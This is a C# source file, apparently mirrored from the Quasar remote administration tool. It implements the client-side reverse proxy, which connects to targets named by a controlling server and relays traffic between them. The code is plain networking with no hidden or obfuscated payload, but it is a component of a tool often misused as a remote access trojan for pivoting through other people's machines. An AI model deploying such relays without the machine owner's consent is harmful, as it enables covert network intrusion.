mirror of https://github.com/quasar/Quasar.git
146 lines
4.3 KiB
C#
146 lines
4.3 KiB
C#
using Quasar.Common.Messages.ReverseProxy;
|
|
using System;
|
|
using System.Net;
|
|
using System.Net.Sockets;
|
|
|
|
namespace Quasar.Client.ReverseProxy
|
|
{
|
|
public class ReverseProxyClient
|
|
{
|
|
public const int BUFFER_SIZE = 8192;
|
|
|
|
public int ConnectionId { get; private set; }
|
|
public Socket Handle { get; private set; }
|
|
public string Target { get; private set; }
|
|
public int Port { get; private set; }
|
|
public Networking.Client Client { get; private set; }
|
|
private byte[] _buffer;
|
|
private bool _disconnectIsSend;
|
|
|
|
public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client)
|
|
{
|
|
this.ConnectionId = command.ConnectionId;
|
|
this.Target = command.Target;
|
|
this.Port = command.Port;
|
|
this.Client = client;
|
|
this.Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
|
|
|
//Non-Blocking connect, so there is no need for a extra thread to create
|
|
this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null);
|
|
}
|
|
|
|
private void Handle_Connect(IAsyncResult ar)
|
|
{
|
|
try
|
|
{
|
|
this.Handle.EndConnect(ar);
|
|
}
|
|
catch { }
|
|
|
|
if (this.Handle.Connected)
|
|
{
|
|
try
|
|
{
|
|
this._buffer = new byte[BUFFER_SIZE];
|
|
this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
|
|
}
|
|
catch
|
|
{
|
|
Client.Send(new ReverseProxyConnectResponse
|
|
{
|
|
ConnectionId = ConnectionId,
|
|
IsConnected = false,
|
|
LocalAddress = null,
|
|
LocalPort = 0,
|
|
HostName = Target
|
|
});
|
|
Disconnect();
|
|
}
|
|
|
|
IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint;
|
|
Client.Send(new ReverseProxyConnectResponse
|
|
{
|
|
ConnectionId = ConnectionId,
|
|
IsConnected = true,
|
|
LocalAddress = localEndPoint.Address.GetAddressBytes(),
|
|
LocalPort = localEndPoint.Port,
|
|
HostName = Target
|
|
});
|
|
}
|
|
else
|
|
{
|
|
Client.Send(new ReverseProxyConnectResponse
|
|
{
|
|
ConnectionId = ConnectionId,
|
|
IsConnected = false,
|
|
LocalAddress = null,
|
|
LocalPort = 0,
|
|
HostName = Target
|
|
});
|
|
}
|
|
}
|
|
|
|
private void AsyncReceive(IAsyncResult ar)
|
|
{
|
|
//Receive here data from e.g. a WebServer
|
|
|
|
try
|
|
{
|
|
int received = Handle.EndReceive(ar);
|
|
|
|
if (received <= 0)
|
|
{
|
|
Disconnect();
|
|
return;
|
|
}
|
|
|
|
byte[] payload = new byte[received];
|
|
Array.Copy(_buffer, payload, received);
|
|
Client.Send(new ReverseProxyData {ConnectionId = ConnectionId, Data = payload});
|
|
}
|
|
catch
|
|
{
|
|
Disconnect();
|
|
return;
|
|
}
|
|
|
|
try
|
|
{
|
|
this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
|
|
}
|
|
catch
|
|
{
|
|
Disconnect();
|
|
return;
|
|
}
|
|
}
|
|
|
|
public void Disconnect()
|
|
{
|
|
if (!_disconnectIsSend)
|
|
{
|
|
_disconnectIsSend = true;
|
|
//send to the Server we've been disconnected
|
|
Client.Send(new ReverseProxyDisconnect {ConnectionId = ConnectionId});
|
|
}
|
|
|
|
try
|
|
{
|
|
Handle.Close();
|
|
}
|
|
catch { }
|
|
|
|
Client.RemoveProxyClient(this.ConnectionId);
|
|
}
|
|
|
|
public void SendToTargetServer(byte[] data)
|
|
{
|
|
try
|
|
{
|
|
Handle.Send(data);
|
|
}
|
|
catch { Disconnect(); }
|
|
}
|
|
}
|
|
}
|